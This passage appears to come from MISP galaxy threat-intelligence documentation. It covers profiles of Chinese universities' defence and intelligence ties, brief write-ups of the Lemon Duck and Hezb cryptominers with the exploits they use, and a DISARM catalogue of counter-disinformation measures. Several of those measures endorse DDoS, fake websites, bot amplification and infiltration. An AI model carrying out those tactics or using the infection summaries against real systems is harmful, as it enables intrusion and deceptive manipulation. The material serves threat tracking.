UESTC was established in 1961 as one of China’s first defence industry universities. It is now subordinate to the Ministry of Education (MOE) and is also jointly supervised by defence industry agencies MIIT and SASTIND, as well as the Chinese military’s leading electronics manufacturer, China Electronics Technology Group Corporation (CETC). The university is one of China’s leading universities for defence electronics research. It claims to rank among the top MOE universities in terms of the scale of its defence research. Between 2011 and 2015, its annual spending on defence research grew by 210% to RMB400 million (AUD80 million) and may account for as much as 32% of its overall research spending. 16.43% of UESTC graduates in 2017 who found employment were working in the defence sector. UESTC gained secret-level security credentials about a decade ago, probably in 2006, making it one of the first MOE universities to hold them. UESTC research has been used by state-owned manufacturers of military aircraft, missiles, and military electronics and the PLA Navy on projects such as the JF-17 fighter and the Navy’s aircraft carrier program. UESTC’s defence research covers areas including electronics, microwaves, terahertz technology, anti-jamming technology and signal processing, communication systems, military-use critical materials, optoelectronic imaging. Between 2001 and 2005, UESTC undertook over 900 military electronics projects worth in excess of RMB500 million (AUD104 million). UESTC’s research on artificial intelligence has attracted scrutiny for its human rights implications. In 2015, a professor recruited by UESTC through the Thousand Talents Plan established a company called Koala AI. The company produces artificial intelligence surveillance systems that are used in Xinjiang, where an estimated 1.5 million Uyghurs and other ethnic minorities have disappeared into concentration camps. UESTC has close relationships with the Chinese defence industry. The university operates a national laboratory on high-power radiation with the Chinese Academy of Engineering Physics, the PRC’s primary nuclear warhead research complex. CETC, a state-owned defence conglomerate, partnered jointly with the MOE to develop UESTC’s capabilities. Under the arrangement, UESTC agreed to expand its collaboration with CETC, help train CETC personnel and send its best students to work at
CETC. Defence industry agency SASTIND also signed agreements to supervise UESTC in 2008 and 2016.

**University of International Relations (国际关系学院)**

UIR claims was established in 1949 under the direction of then Premier Zhou Enlai. In 1964 it was designated as a ‘national key university’, and this appears to be the evidence it uses to claim it is a Ministry of Education university. However, the university does not appear on the Ministry of Education’s list of subordinate universities. Individuals formerly and presently affiliated with the university have also held affiliations with the MSS or the MSS-linked think tank the China Institutes of Contemporary International Relations (中国现代国际关系研究学院). They include Geng Huichang (耿惠昌), a former Minister of State Security (2007-2016) and vice minister of State Security (1998-2007). Prior to this he was the head of China Institutes of Contemporary International Relations from 1992 to 1998. From 1990 to 1992, he was the director of UIR’s American Research Department and from 1985-1990 he was deputy director of the American Research department. Notably, current UIR President Tao Jian is also a former CICIR vice-president and a UIR graduate. UIR gives the MSS a way to work with foreign universities and academics to shape and learn about perceptions of the PRC’s views on security. It also provides a platform for the MSS to identify talent, recruit officers and collect intelligence. The university’s Hangzhou campus, also known as the Zhejiang Second People’s Police School, may carry out more practical training of MSS officers and has been described on a local government website as ‘specialising in training special talent’. Some graduates of the Hangzhou campus have moved straight into MSS positions. The Hangzhou campus works closely with Zhejiang University on teaching and research.

**University of Science and Technology Beijing (北京科技大学)**

USTC is a leading university subordinate to the MOE. The university engages in high levels of defence research and claims be among the top MOE universities for defence spending. Since 2018, it has been under a joint-construction agreement between the MOE and defence industry agency SASTIND that is designed to expand its involvement in defence research. USTB is known as the ‘cradle of steel’ for its training and research on metallurgy. The university’s defence research appears to focus on metallurgy and materials science. It hosts at least three laboratories dedicated to defence research, including two that are jointly run with state-owned defence conglomerates.
The head of USTB’s Institute of Advanced Materials and Technology also heads a SASTIND-supported defence science and technology innovation team. The university holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects.

### University of Science and Technology of China (中国科学技术大学)

The University of Science and Technology of China is among China’s most prestigious universities in science and technology. Uniquely, it was established and is supervised by the Chinese Academy of Sciences, intended to serve national objectives in science and technology. Xi Jinping personally inspected USTC in 2016, urging it to pursue “even more outstanding achievements in teaching and innovation.” It is a member of the C9 League and in the “211 Project” and “985 Project.” While providing undergraduate and graduate-level education, USTC is also highly active in research across a number of major laboratories, including several that support research that is related to national defense and the development of dual-use technologies, such as brain-inspired approaches to artificial intelligence and quantum information science. USTC has a long history of contributions to science in the service of the state, and it has recently sought to deepen its contributions to military research, including through establishing a new center for military-civil fusion. Several USTC professors, including prominently Pan Jianwei, have partnered with the defense industry to pursue military applications of their technologies.

### University of Shanghai for Science and Technology (上海理工大学)

USST describes itself as a ‘university with defence characteristics’. It has been under the joint supervision of Shanghai and defence industry agency SASTIND since 2016. It is engaged in growing levels of defence research and holds second-class weapons research and development secrecy credentials, allowing it to undertake classified projects. In 2017, its spending on defence research reached RMB13 million (AUD2.6 million). SASTIND has designated areas with the fields of optics, energy and control science as defence disciplines at USST, indicating that the university’s defence
research focuses on these areas. In 2017, the university established a joint venture on terahertz radiation technology with subsidiaries of defence conglomerate Norinco Group.

**University of South China (南华大学)**

USC specialises in nuclear engineering. It has a well-developed defence research program and has been the subject of several joint-construction agreements between the Hunan Provincial Government and defence industry agency SASTIND since 2002. These agreements are designed to ‘support USC in going a step further to display its defence characteristics based on the development needs of the defence technology industry.’ USC is also supervised by China National Nuclear Corporation, a state-owned defence nuclear engineering conglomerate. USC carries out large amounts of defence research related to nuclear engineering, as well as work on information technology, communications engineering, control engineering and electrical engineering. The university received secret level security credentials in 2008, allowing it to work on classified defence projects.

**Wuhan University (武汉大学)**

WHU is a leading Chinese university subordinate to the Ministry of Education. The university has close ties to the military and has been subject to a joint-supervision agreement between the Ministry of Education and defence industry agency SASTIND since 2016, an arrangement designed to increase its involvement in defence research. In 2015, WHU planned to spend RMB200 million (AUD42 million) on defence research for the year and described itself as ‘a university with a strong reputation in the defence science and technology field’. WHU carries out defence research in a wide range of fields, including navigation, computer simulation, electronic information, electromagnetics, aerospace remote sensing, materials science, cyber security and explosions. The university is an important site of research for China’s Beidou satellite navigation system. Aside from being involved in defence research, there are strong indications that WHU has carried out cyber attacks for the People’s Liberation Army. One of the university’s two defence laboratories purportedly established by the Ministry of Education, the Key Laboratory of Aerospace Information Security and Trusted Computing, has been accused by unnamed US and Taiwanese officials of carrying out cyberattacks.
**Wuhan University of Technology (武汉理工大学)**

WHUT is subordinate to the Ministry of Education. The university originally specialised in research relating to construction, transport and automobiles. It engages in high levels of defence research and has been under a ‘joint-construction’ agreement between the Ministry of Education and defence industry agency SASTIND since 2016. It holds secret-level security credentials. The university hosts two Ministry of Education laboratories dedicated to defence research on materials science and ship technology. WHUT also works closely with the PLA Air Force on defensive engineering such as the construction of aircraft bunkers and underground shelters. Since 2001, WHUT and the Guangdong Military Region Air Force Engineering and Construction Bureau have run a joint research institute, which ‘takes advantage of [WHUT’s] State Key Laboratory of Advanced Technology for Materials Synthesis and Processing’. In 2012, the PLA Air Force Logistics Department and WHUT held a signing ceremony inaugurating the “Air Force-level Military-Civil Fusion Air Defence Engineering Construction Technology Innovation Platform Cooperation Agreement” (空军级军民融合式空防工程建设科技创新平台合作). The same department in cooperation with WHUT also jointly established the Air Force Air Defence Engineering Construction Technology Innovation Platform (空军级空防工程建设科技创新平台), with ‘the goal of innovating mutually beneficial technologies.’

**Xi’an Jiaotong University (西安交通大学)**

XJTU is subordinate to the Ministry of Education. It is also supervised by SASTIND as part of a program to develop defense research capabilities within Chinese universities. The university describes its strategy as being ‘based in Shaanxi, geared toward the needs of the nation, and serving the national defense industry.’ The university is advanced in its implementation of military-civil fusion and has established strategic partnerships with China Aerospace Science and Technology Corporation, China Aerospace Science and Industry Corporation, and the Aero Engine Corporation of China. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.
Xi’an Technological University (西安工业大学)

XATU is a civilian university that primarily engages in defence research. XATU describes itself as ‘having distinct defence-industrial characteristics’ and is heavily involved in weapons development. Since 2016, it has been subject to a ‘joint construction’ agreement between the Shaanxi Provincial Government and defence industry agency SASTIND designed to deepen its defence links. The university’s main areas of defence research include photoelectric imaging technology, manufacturing technology, materials science, detection and measurement technology and weapons systems. It holds secret-level security credentials. XATU is a member of the B8 Cooperation Innovation Alliance (B8協同創新同盟 or 中国兵器协同创新联盟), a group of eight Chinese research institutions that specialize in weapons science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器). Apart from Shenyang Ligong University, XATU is the only Chinese civilian university known to be supervised by state-owned arms manufacturers China North Industries Group (Norinco Group) and China South Industries Group.

Xi’an University of Posts and Telecommunications (西安邮电大学)

XUPT is a leading Chinese university supervised by the Shaanxi Provincial Government and the Department of Information Technology. The university was established in 1959 as an institution focused on communications and information technology. XUPT retains a focus on these discipline to this day. XUPT’s faculties include college focusing on artificial intelligence, automation, cyber security and electrical engineering. XUPT maintains close links to China’s Ministry of Public Security (MPS). The university has signed agreements and established joint laboratories with the MPS’s local counterparts. In November 2013, XUPT partnered with the Shaanxi Municipal Government’s public security ministry to establish the MPS Key Laboratory of Electronic Information Application Technology for Scene Investigation (公安部电子信息现场应用技术重点实验室). This was the first such joint laboratory that the MPS established with a university in any of China’s five north-western provinces. XUPT partnered with Xi’an’s Yanta District Public Security Bureau branch in November 2018, establishing the ‘Joint Laboratory for Smart Public Security Information Analysis and Applications’ (公安信息智能分析及应用联合实验室). The joint laboratory develops applications of artificial intelligence for analysing criminal information.

Table 974. Table References
**Xiamen University (厦大)**

XMU is one of China’s leading universities, but it does not appear to engage in high levels of defence research. However, in 2018 it came under a joint supervision agreement between the Ministry of Education, the Fujian Provincial Government and defence industry agency SASTIND that indicates XMU will expand its involvement in defence research. The arrangement is designed to ‘upgrade the university's ability to innovate defence science and technology and actively integrate itself with the development of military-civil fusion.’ In 2017, XMU allegedly conspired with Huawei to steal trade secrets from CNEX Labs Inc., an American semiconductor startup. CNEX claims that Huawei and XMU engaged in a multiyear conspiracy to steal the company's solid-state drive computer storage technology. The university appears to be involved in the development of military-use heavy-duty coatings. In 2017, XMU, Fujian Normal University, Fujian Liheng Paint Co. Ltd. (福建立恒涂料有限公司) and People’s Liberation Army Unit 63983 jointly established the Haixi Liheng New Materials Research Institute (海西立恒新材料研究院). Fujian Liheng Paint specialises in heavy-duty coatings for warships and holds confidential-level security credentials, allowing it to participate in classified defence projects.

**Xiangtan University (湘潭大学)**

XTU is a university in Chairman Mao Zedong’s hometown that has substantially expanded its participation in defence research in recent years. It has been subject to two ‘joint construction’ agreements between the Hunan Provincial Government and defence industry agency SASTIND that are designed to help the university ‘draw out its national defence characteristics’. In the university’s own words, its ‘military-civil fusion characteristics are becoming clearer with each day’, and it increased its spending on military-related projects by 60% from 2017 to 2018, spending over RMB31 million (AUD6 million) in 2018. XTU’s defence research covers areas including materials science, energy, measurement technology and electromagnetic waves. The university has developed partnerships with a major PLA nuclear technology research institution, Northwest Institute of Nuclear Technology, and several defence companies, including subsidiaries of arms manufacturer Norinco Group and defence aviation conglomerate Aero Engine Corporation of China. XTU holds secret-level security credentials, allowing it to participate in classified defence technology projects.

Xidian University (西安电子科技大学)

Xidian University is among China's top universities for research on antennas, radar, electronic countermeasures and computer science. The university is subordinate to the Ministry of Education and is also jointly supervised by defence industry agency SASTIND and defence electronics conglomerate CETC. It claims it has 'made important contributions to military modernisation'. The university is closely tied to China's defense industry and the PLA. It runs at least five defence laboratories and partners with the PLA's signals intelligence organization. Xidian appears to be an important training ground for Chinese military hackers. According to Xidian’s party secretary, the university has had an ‘unbreakable bond with secret intelligence work since its beginning’. It also holds secret-level security credentials that allow it to work on classified weapons projects.

The tag is: misp-galaxy:china-defence-universities="Xidian University (西安电子科技大学)"

Yanshan University (燕山大学)

The university was formed as an offshoot of Harbin Institute of Technology, one of China’s top defence universities, in 1960. The university continues to prioritise defence research and is jointly supervised by the Hebei Provincial Government together with the Ministry of Education, Ministry of Industry and Information Technology and defence industry agency SASTIND. YSU's Defense Science and Technology Institute was established in 2006 under the support of COSTIND (a defence industry agency that has been replaced by SASTIND) to expand and oversee defence research at the university. The institute has driven the university’s involvement in space-related defence research through the establishment of laboratories such as the Key Laboratory of Fundamental Science of Mechanical Structure and Materials Science Under Extreme Conditions. Four fields of research at YSU are officially designated as defence disciplines: control theory and control science, electrical circuits and systems, mechanical design and theory, and materials science and engineering. The university holds secret-level security credentials.

The tag is: misp-galaxy:china-defence-universities="Yanshan University (燕山大学)"

Yunnan Normal University (云南师范大学)

YNNU is a Chinese university subordinate to the Yunnan Provincial Government. Since 2013 it has also been supervised by the Ministry of Education. The university has been focused on training
teacher since its inception as the Kunming Teachers College (昆明师范学院) in 1950. YNNU now has a broader focus on a variety of humanities, social and natural science disciplines. YNNU is organised into numerous faculties, some of which are relevant for communist party cadre training:

---

**Zhejiang University (浙江大学)**

ZJU is subordinate to the Ministry of Education and jointly constructed with defence industry agency SASTIND. This arrangement with SASTIND began in 2016 and is designed to deepen the university’s involvement in defence research. The university holds secret-level security credentials, allowing it to work on classified military projects. The university's total research funding amounts to RMB4.56 billion (AUD940 million) in 2018. It has at least three defence laboratories, with one source claiming that the university had ten key national laboratories (国家重点实验室) as of 2015. These laboratories are involved in research on computer simulations, high-performance computing and control science. The university also carries out cyber security research and receives funding for this work from the MSS, China’s civilian intelligence agency. ZJU cooperates extensively with international universities and companies, with upwards of 40 international joint S&T research labs. The College of Electrical Engineering has joint labs with U.S. companies in key industries, such as Rockwell Automation in the field of information technology, and the National Semiconductor Corporation. Additionally, the university has a joint research lab with U.S company Microsoft.

Cryptominers

A list of cryptominer and cryptojacker malware.

Cryptominers is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Cisco Talos - raw-data

Lemon Duck

The infection starts with a PowerShell loading script, which is copied from other infected systems via SMB, email or external USB drives. The actor also employs several exploits for vulnerabilities such as SMBGhost and Eternal Blue.

The tag is: misp-galaxy:cryptominers="Lemon Duck"

Lemon Duck is also known as:

Hezb

“Hezb”, which is based on command line artifact data, was observed around Kinsing. This malware
is relatively new and was recently reported in late May exploiting WSO2 RCE (CVE-2022-29464) in the wild. Several malware components were observed, the first of which was an XMRig miner installed as “Hezb”. Additional modules included a polkit exploit for privilege escalation as well as a zero-detection ELF payload named “kik”.

The tag is: *misp-galaxy:cryptominers="Hezb"*

Countermeasures

DISARM is a framework designed for describing and understanding disinformation incidents.
Countermeasures is a cluster galaxy available in JSON format at [this location](#) The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

**authors**

DISARM Project

---

### Charge for social media

Include a paid-for privacy option, e.g. pay Facebook for an option of them not collecting your personal information. There are examples of this not working, e.g. most people don’t use proton mail etc.

The tag is: `misp-galaxy:disarm-countermeasures="Charge for social media"`

**Table 1019. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

### Create shared fact-checking database

Share fact-checking resources - tips, responses, countermessages, across response groups.

The tag is: `misp-galaxy:disarm-countermeasures="Create shared fact-checking database"`

**Table 1020. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

### Educate high profile influencers on best practices

Find online influencers. Provide training in the mechanisms of disinformation, how to spot campaigns, and/or how to contribute to responses by countermessaging, boosting information sites etc.

The tag is: `misp-galaxy:disarm-countermeasures="Educate high profile influencers on best practices"`

**Table 1021. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Enhanced privacy regulation for social media

Implement stronger privacy standards, to reduce the ability to microtarget community members.

The tag is: `misp-galaxy:disarm-countermeasures="Enhanced privacy regulation for social media"`

<table>
<thead>
<tr>
<th>Table 1022. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Media literacy. Games to identify fake news

Create and use games to show people the mechanics of disinformation, and how to counter them.

The tag is: `misp-galaxy:disarm-countermeasures="Media literacy. Games to identify fake news"`

<table>
<thead>
<tr>
<th>Table 1023. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Platform regulation

Empower existing regulators to govern social media. Also covers Destroy. Includes: Include the role of social media in the regulatory framework for media. The U.S. approach will need to be carefully crafted to protect First Amendment principles, create needed transparency, ensure liability, and impose costs for noncompliance. Includes Create policy that makes social media police disinformation. Includes: Use fraud legislation to clean up social media

The tag is: `misp-galaxy:disarm-countermeasures="Platform regulation"`

<table>
<thead>
<tr>
<th>Table 1024. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Rating framework for news

This is "strategic inoculation", raising the standards of what people expect in terms of evidence when consuming news. Example: journalistic ethics, or journalistic licencing body. Include full transcripts, link source, add items.

The tag is: `misp-galaxy:disarm-countermeasures="Rating framework for news"`
Real-time updates to fact-checking database

Update fact-checking databases and resources in real time. Especially import for time-limited events like natural disasters.

The tag is: `misp-galaxy:disarm-countermeasures="Real-time updates to fact-checking database"`

Censorship

Alter and/or block the publication/dissemination of information controlled by disinformation creators. Not recommended.

The tag is: `misp-galaxy:disarm-countermeasures="Censorship"`

Repair broken social connections

For example, use a media campaign to promote in-group to out-group in person communication / activities. Technique could be in terms of forcing a reality-check by talking to people instead of reading about bogeymen.

The tag is: `misp-galaxy:disarm-countermeasures="Repair broken social connections"`
Reduce effect of division-enablers

includes Promote constructive communication by shaming division-enablers, and Promote playbooks to call out division-enablers

The tag is: misp-galaxy:disarm-countermeasures="Reduce effect of division-enablers"

Table 1029. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Encourage in-person communication

Encourage offline communication

The tag is: misp-galaxy:disarm-countermeasures="Encourage in-person communication"

Table 1030. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Innoculate. Positive campaign to promote feeling of safety

Used to counter ability based and fear based attacks

The tag is: misp-galaxy:disarm-countermeasures="Innoculate. Positive campaign to promote feeling of safety"

Table 1031. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Promote healthy narratives

Includes promoting constructive narratives i.e. not polarising (e.g. pro-life, pro-choice, pro-USA). Includes promoting identity neutral narratives.

The tag is: misp-galaxy:disarm-countermeasures="Promote healthy narratives"

Table 1032. Table References
Shore up democracy based messages

Messages about e.g. peace, freedom. And make it sexy. Includes Deploy Information and Narrative-Building in Service of Statecraft: Promote a narrative of transparency, truthfulness, liberal values, and democracy. Implement a compelling narrative via effective mechanisms of communication. Continually reassess messages, mechanisms, and audiences over time. Counteract efforts to manipulate media, undermine free markets, and suppress political freedoms via public diplomacy.

The tag is: `misp-galaxy:disarm-countermeasures="Shore up democracy based messages"`

Create culture of civility

This is passive. Includes promoting civility as an identity that people will defend.

The tag is: `misp-galaxy:disarm-countermeasures="Create culture of civility"`

Make information provenance available

Blockchain audit log and validation with collaborative decryption to post comments. Use blockchain technology to require collaborative validation before posts or comments are submitted. This could be used to adjust upvote weight via a trust factor of people and organisations you trust, or other criteria.

The tag is: `misp-galaxy:disarm-countermeasures="Make information provenance available"`
Create fake website to issue counter narrative and counter narrative through physical merchandise

Create websites in disinformation voids - spaces where people are looking for known disinformation.

The tag is: misp-galaxy:disarm-countermeasures="Create fake website to issue counter narrative and counter narrative through physical merchandise"

Table 1036. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Develop a compelling counter narrative (truth based)

The tag is: misp-galaxy:disarm-countermeasures="Develop a compelling counter narrative (truth based)"

Table 1037. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Dilute the core narrative - create multiple permutations, target / amplify

Create competing narratives. Included "Facilitate State Propaganda" as diluting the narrative could have an effect on the pro-state narrative used by volunteers, or lower their involvement.

The tag is: misp-galaxy:disarm-countermeasures="Dilute the core narrative - create multiple permutations, target / amplify"

Table 1038. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hijack content and link to truth- based info

Link to platform

The tag is: misp-galaxy:disarm-countermeasures="Hijack content and link to truth- based info"
Create more friction at account creation

Counters fake account
The tag is: misp-galaxy:disarm-countermeasures="Create more friction at account creation"

Infiltrate the in-group to discredit leaders (divide)

All of these would be highly affected by infiltration or false-claims of infiltration.
The tag is: misp-galaxy:disarm-countermeasures="Infiltrate the in-group to discredit leaders (divide)"

third party verification for people

counters fake experts
The tag is: misp-galaxy:disarm-countermeasures="third party verification for people"

Address truth contained in narratives

Focus on and boost truths in misinformation narratives, removing misinformation from them.
The tag is: misp-galaxy:disarm-countermeasures="Address truth contained in narratives"
**Keep people from posting to social media immediately**

Platforms can introduce friction to slow down activities, force a small delay between posts, or replies to posts.

The tag is: *misp-galaxy:disarm-countermeasures="Keep people from posting to social media immediately"*

**Marginalise and discredit extremist groups**

Reduce the credibility of extremist groups posting misinformation.

The tag is: *misp-galaxy:disarm-countermeasures="Marginalise and discredit extremist groups"*

**Honeypot with coordinated inauthentics**

Flood disinformation spaces with obviously fake content, to dilute core misinformation narratives in them.

The tag is: *misp-galaxy:disarm-countermeasures="Honeypot with coordinated inauthentics"*

**Name and Shame Influencers**

Think about the different levels: individual vs state-sponsored account. Includes “call them out”
and “name and shame”. Identify social media accounts as sources of propaganda—“calling them out”—might be helpful to prevent the spread of their message to audiences that otherwise would consider them factual. Identify, monitor, and, if necessary, target externally-based nonattributed social media accounts. Impact of and Dealing with Trolls - “Chatham House has observed that trolls also sometimes function as decoys, as a way of “keeping the infantry busy” that “aims to wear down the other side” (Lough et al., 2014). Another type of troll involves “false accounts posing as authoritative information sources on social media”.

The tag is: `misp-galaxy:disarm-countermeasures="Name and Shame Influencers"`

### Counter social engineering training

Includes anti-elicitation training, phishing prevention education.

The tag is: `misp-galaxy:disarm-countermeasures="Counter social engineering training"

### Infiltrate platforms

Detect and degrade

The tag is: `misp-galaxy:disarm-countermeasures="Infiltrate platforms"

### Delete old accounts / Remove unused social media accounts

remove or remove access to (e.g. stop the ability to update) old social media accounts, to reduce the pool of accounts available for takeover, botnets etc.

The tag is: `misp-galaxy:disarm-countermeasures="Delete old accounts / Remove unused social media accounts"`
Encourage people to leave social media

Encourage people to leave social media. We don’t expect this to work.

The tag is: `misp-galaxy:disarm-countermeasures="Encourage people to leave social media"`

Report crowdfunder as violator

counters crowdfunding. Includes ‘Expose online funding as fake”.

The tag is: `misp-galaxy:disarm-countermeasures="Report crowdfunder as violator"`

Verification of project before posting fund requests

third-party verification of projects posting funding campaigns before those campaigns can be posted.

The tag is: `misp-galaxy:disarm-countermeasures="Verification of project before posting fund requests"`

Legal action against for-profit engagement factories

Take legal action against for-profit "factories" creating misinformation.

The tag is: `misp-galaxy:disarm-countermeasures="Legal action against for-profit engagement factories"`
Free open library sources worldwide

Open-source libraries could be created that aid in some way for each technique. Even for Strategic Planning, some open-source frameworks such as DISARM can be created to counter the adversarial efforts.

The tag is: `misp-galaxy:disarm-countermeasures="Free open library sources worldwide"`

Reduce political targeting

Includes “ban political micro targeting” and “ban political ads”

The tag is: `misp-galaxy:disarm-countermeasures="Reduce political targeting"`

Co-opt a hashtag and drown it out (hijack it back)

Flood a disinformation-related hashtag with other content.

The tag is: `misp-galaxy:disarm-countermeasures="Co-opt a hashtag and drown it out (hijack it back)"`
Denigrate the recipient/project (of online funding)

Reduce the credibility of groups behind misinformation-linked funding campaigns.

The tag is: misp-galaxy:disarm-countermeasures="Denigrate the recipient/project (of online funding)"

Table 1058. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Block access to disinformation resources

Resources = accounts, channels etc. Block access to platform. DDOS an attacker. TA02*: DDOS at the critical time, to deny an adversary's time-bound objective. T0008: A quick response to a proto-viral story will affect its ability to spread and raise questions about their legitimacy. Hashtag: Against the platform, by drowning the hashtag. T0046 - Search Engine Optimisation: Sub-optimal website performance affect its search engine rank, which I interpret as "blocking access to a platform".

The tag is: misp-galaxy:disarm-countermeasures="Block access to disinformation resources"

Table 1059. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Block source of pollution

Block websites, accounts, groups etc connected to misinformation and other information pollution.

The tag is: misp-galaxy:disarm-countermeasures="Block source of pollution"

Table 1060. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Remove non-relevant content from special interest groups - not recommended

Check special-interest groups (e.g. medical, knitting) for unrelated and misinformation-linked content, and remove it.

The tag is: misp-galaxy:disarm-countermeasures="Remove non-relevant content from special interest groups - not recommended"
Inoculate populations through media literacy training

Use training to build the resilience of at-risk populations. Educate on how to handle info pollution. Push out targeted education on why it’s pollution. Build cultural resistance to false content, e.g. cultural resistance to bullshit. Influence literacy training, to inoculate against “cult” recruiting. Media literacy training: leverage librarians / library for media literacy training. Inoculate at language. Strategic planning included as inoculating population has strategic value. Concepts of media literacy to a mass audience that authorities launch a public information campaign that teaches the programme will take time to develop and establish impact, recommends curriculum-based training. Covers detect, deny, and degrade.

The tag is: mish-galaxy:disarm-countermeasures="Inoculate populations through media literacy training"

Identify and delete or rate limit identical content

C00000

The tag is: mish-galaxy:disarm-countermeasures="Identify and delete or rate limit identical content"

normalise language

normalise the language around disinformation and misinformation; give people the words for artefact and effect types.

The tag is: mish-galaxy:disarm-countermeasures="normalise language"
Prohibit images in political discourse channels

Make political discussion channels text-only.

The tag is: `misp-galaxy:disarm-countermeasures="Prohibit images in political discourse channels"`

**Table 1065. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Active defence: run TA15 "develop people" - not recommended

Develop networks of communities and influencers around counter-misinformation. Match them to misinformation creators

The tag is: `misp-galaxy:disarm-countermeasures="Active defence: run TA15 "develop people" - not recommended"`

**Table 1066. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Change Search Algorithms for Disinformation Content

Includes “change image search algorithms for hate groups and extremists” and “Change search algorithms for hate and extremist queries to show content sympathetic to opposite side”

The tag is: `misp-galaxy:disarm-countermeasures="Change Search Algorithms for Disinformation Content"`

**Table 1067. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Create competing narrative

Create counternarratives, or narratives that compete in the same spaces as misinformation
narratives. Could also be degrade

The tag is: `misp-galaxy:disarm-countermeasures="Create competing narrative"

Table 1068. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Highlight flooding and noise, and explain motivations**

Discredit by pointing out the "noise" and informing public that "flooding" is a technique of disinformation campaigns; point out intended objective of "noise"

The tag is: `misp-galaxy:disarm-countermeasures="Highlight flooding and noise, and explain motivations"

Table 1069. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Ground truthing as automated response to pollution**

Also inoculation.

The tag is: `misp-galaxy:disarm-countermeasures="Ground truthing as automated response to pollution"

Table 1070. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Modify disinformation narratives, and rebroadcast them**

Includes “poison pill recasting of message” and “steal their truths”. Many techniques involve promotion which could be manipulated. For example, online fundings or rallies could be advertised, through compromised or fake channels, as being associated with "far-up/down/left/right" actors. "Long Game" narratives could be subjected in a similar way with negative connotations. Can also replay technique T0003.

The tag is: `misp-galaxy:disarm-countermeasures="Modify disinformation narratives, and rebroadcast them"
Mute content

Rate-limit disinformation content. Reduces its effects, whilst not running afoul of censorship concerns. Online archives of content (archives of websites, social media profiles, media, copies of published advertisements; or archives of comments attributed to bad actors, as well as anonymized metadata about users who interacted with them and analysis of the effect) is useful for intelligence analysis and public transparency, but will need similar muting or tagging/shaming as associated with bad actors.

The tag is: `misp-galaxy:disarm-countermeasures="Mute content"`

Distract from noise with addictive content

Example: Interject addictive links or contents into discussions of disinformation materials and measure a "conversion rate" of users who engage with your content and away from the social media channel's "information bubble" around the disinformation item. Use bots to amplify and upvote the addictive content.

The tag is: `misp-galaxy:disarm-countermeasures="Distract from noise with addictive content"`

Make more noise than the disinformation

The tag is: `misp-galaxy:disarm-countermeasures="Make more noise than the disinformation"`
Fake engagement system

Create honeypots for misinformation creators to engage with, and reduce the resources they have available for misinformation campaigns.

The tag is: misp-galaxy:disarm-countermeasures="Fake engagement system"

<table>
<thead>
<tr>
<th>Table 1075. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Honeypot social community

Set honeypots, e.g. communities, in networks likely to be used for disinformation.

The tag is: misp-galaxy:disarm-countermeasures="Honeypot social community"

<table>
<thead>
<tr>
<th>Table 1076. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Establish a truth teller reputation score for influencers

Includes "Establish a truth teller reputation score for influencers" and “Reputation scores for social media users”. Influencers are individuals or accounts with many followers.

The tag is: misp-galaxy:disarm-countermeasures="Establish a truth teller reputation score for influencers"

<table>
<thead>
<tr>
<th>Table 1077. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Influencer code of conduct

Establish tailored code of conduct for individuals with many followers. Can be platform code of conduct; can also be community code.

The tag is: misp-galaxy:disarm-countermeasures="Influencer code of conduct"

| Table 1078. Table References |
Force full disclosure on corporate sponsor of research

Accountability move: make sure research is published with its funding sources.

The tag is: misp-galaxy:disarm-countermeasures="Force full disclosure on corporate sponsor of research"

Strengthen institutions that are always truth tellers

Increase credibility, visibility, and reach of positive influencers in the information space.

The tag is: misp-galaxy:disarm-countermeasures="Strengthen institutions that are always truth tellers"

Require use of verified identities to contribute to poll or comment

Reduce poll flooding by online taking comments or poll entries from verified accounts.

The tag is: misp-galaxy:disarm-countermeasures="Require use of verified identities to contribute to poll or comment"
Revocation of allowlisted or "verified" status

remove blue checkmarks etc from known misinformation accounts.

The tag is: `misp-galaxy:disarm-countermeasures="Revocation of allowlisted or "verified" status"`

Table 1082. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Strengthen verification methods

Improve content verification methods available to groups, individuals etc.

The tag is: `misp-galaxy:disarm-countermeasures="Strengthen verification methods"`

Table 1083. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hashtag jacking

Post large volumes of unrelated content on known misinformation hashtags

The tag is: `misp-galaxy:disarm-countermeasures="Hashtag jacking"`

